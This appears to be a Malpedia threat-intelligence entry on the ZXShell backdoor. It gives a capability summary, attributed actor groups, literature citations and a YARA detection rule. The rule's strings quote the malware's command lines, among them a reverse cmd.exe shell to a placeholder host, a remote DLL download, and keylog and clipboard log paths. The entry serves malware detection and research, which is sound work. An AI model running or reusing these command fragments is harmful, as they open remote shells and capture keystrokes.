SYMBOLCOMMON_NAMEaka. SYNONYMS
win.zxshell (Back to overview)

ZXShell

aka: Sensocode

Actor(s): APT41, Emissary Panda, Leviathan


According to FireEye, ZXSHELL is a backdoor that can be downloaded from the internet, particularly Chinese hacker websites. The backdoor can launch port scans, run a keylogger, capture screenshots, set up an HTTP or SOCKS proxy, launch a reverse command shell, cause SYN floods, and transfer/delete/run files. The publicly available version of the tool provides a graphical user interface that malicious actors can use to interact with victim backdoors. Simplified Chinese is the language used for the bundled ZXSHELL documentation.

References
2020-07-20Risky.bizDaniel Gordon
@online{gordon:20200720:what:b88e81f, author = {Daniel Gordon}, title = {{What even is Winnti?}}, date = {2020-07-20}, organization = {Risky.biz}, url = {https://risky.biz/whatiswinnti/}, language = {English}, urldate = {2020-08-18} } What even is Winnti?
CCleaner Backdoor Ghost RAT PlugX ZXShell
2020-04-07BlackberryBlackberry Research
@techreport{research:20200407:decade:6441e18, author = {Blackberry Research}, title = {{Decade of the RATS: Cross-Platform APT Espionage Attacks Targeting Linux, Windows and Android}}, date = {2020-04-07}, institution = {Blackberry}, url = {https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf}, language = {English}, urldate = {2020-08-10} } Decade of the RATS: Cross-Platform APT Espionage Attacks Targeting Linux, Windows and Android
Penquin Turla XOR DDoS ZXShell
2020-01-13Lab52Jagaimo Kawaii
@online{kawaii:20200113:apt27:4c2f818, author = {Jagaimo Kawaii}, title = {{APT27 ZxShell RootKit module updates}}, date = {2020-01-13}, organization = {Lab52}, url = {https://lab52.io/blog/apt27-rootkit-updates/}, language = {English}, urldate = {2020-01-13} } APT27 ZxShell RootKit module updates
ZXShell
2020SecureworksSecureWorks
@online{secureworks:2020:bronze:4db27ec, author = {SecureWorks}, title = {{BRONZE UNION}}, date = {2020}, organization = {Secureworks}, url = {https://www.secureworks.com/research/threat-profiles/bronze-union}, language = {English}, urldate = {2020-05-23} } BRONZE UNION
9002 RAT CHINACHOPPER Enfal Ghost RAT HttpBrowser HyperBro owaauth PlugX Poison Ivy ZXShell LuckyMouse
2020SecureworksSecureWorks
@online{secureworks:2020:bronze:65ecf8a, author = {SecureWorks}, title = {{BRONZE KEYSTONE}}, date = {2020}, organization = {Secureworks}, url = {https://www.secureworks.com/research/threat-profiles/bronze-keystone}, language = {English}, urldate = {2020-05-23} } BRONZE KEYSTONE
9002 RAT BLACKCOFFEE DeputyDog Derusbi HiKit PlugX Poison Ivy ZXShell Aurora Panda
2019-09-19MeltX0R
@online{meltx0r:20190919:emissary:361f1fd, author = {MeltX0R}, title = {{Emissary Panda APT: Recent infrastructure and RAT analysis}}, date = {2019-09-19}, url = {https://meltx0r.github.io/tech/2019/09/19/emissary-panda-apt.html}, language = {English}, urldate = {2020-01-09} } Emissary Panda APT: Recent infrastructure and RAT analysis
ZXShell
2019-02-27SecureworksCTU Research Team
@online{team:20190227:peek:16c9160, author = {CTU Research Team}, title = {{A Peek into BRONZE UNION’s Toolbox}}, date = {2019-02-27}, organization = {Secureworks}, url = {https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox}, language = {English}, urldate = {2020-01-07} } A Peek into BRONZE UNION’s Toolbox
Ghost RAT HyperBro ZXShell
2019Virus BulletinLion Gu, Bowen Pan
@techreport{gu:2019:vine:df5dbfb, author = {Lion Gu and Bowen Pan}, title = {{A vine climbing over the Great Firewall: A long-term attack against China}}, date = {2019}, institution = {Virus Bulletin}, url = {https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-GuPan.pdf}, language = {English}, urldate = {2020-01-08} } A vine climbing over the Great Firewall: A long-term attack against China
Poison Ivy ZXShell
2016-10-28Github (smb01)smb01
@online{smb01:20161028:zxshell:e4d3a5e, author = {smb01}, title = {{zxshell repository}}, date = {2016-10-28}, organization = {Github (smb01)}, url = {https://github.com/smb01/zxshell}, language = {English}, urldate = {2020-01-07} } zxshell repository
ZXShell
2014-10-28CiscoAndrea Allievi, Douglas Goddard, Shaun Hurley, Alain Zidouemba
@online{allievi:20141028:threat:a302fbd, author = {Andrea Allievi and Douglas Goddard and Shaun Hurley and Alain Zidouemba}, title = {{Threat Spotlight: Group 72, Opening the ZxShell}}, date = {2014-10-28}, organization = {Cisco}, url = {https://blogs.cisco.com/security/talos/opening-zxshell}, language = {English}, urldate = {2019-10-15} } Threat Spotlight: Group 72, Opening the ZxShell
ZXShell
Yara Rules
[TLP:WHITE] win_zxshell_w0 (20180301 | No description)
rule win_zxshell_w0 {
    meta:
        author = "Florian Roth"
        reference = "https://blogs.rsa.com/cat-phishing/"
        malpedia_reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell"
        malpedia_version = "20180301"
        malpedia_license = "CC BY-NC-SA 4.0"
        malpedia_sharing = "TLP:WHITE"
    strings:
        $x1 = "zxplug -add" fullword ascii
        $x2 = "getxxx c:\\xyz.dll" fullword ascii
        $x3 = "downfile -d c:\\windows\\update.exe" fullword ascii
        $x4 = "-fromurl http://x.x.x/x.dll" fullword ascii
        $x5 = "ping 127.0.0.1 -n 7&cmd.exe /c net start %s" fullword ascii
        $x6 = "ZXNC -e cmd.exe x.x.x.x" fullword ascii
        $x7 = "(bind a cmdshell)" fullword ascii
        $x8 = "ZXFtpServer 21 20 zx" fullword ascii
        $x9 = "ZXHttpServer" fullword ascii
        $x10 = "c:\\error.htm,.exe|c:\\a.exe,.zip|c:\\b.zip\"" fullword ascii
        $x11 = "c:\\windows\\clipboardlog.txt" fullword ascii
        $x12 = "AntiSniff -a wireshark.exe" fullword ascii
        $x13 = "c:\\windows\\keylog.txt" fullword ascii
    condition:
        3 of them
}
Download all Yara Rules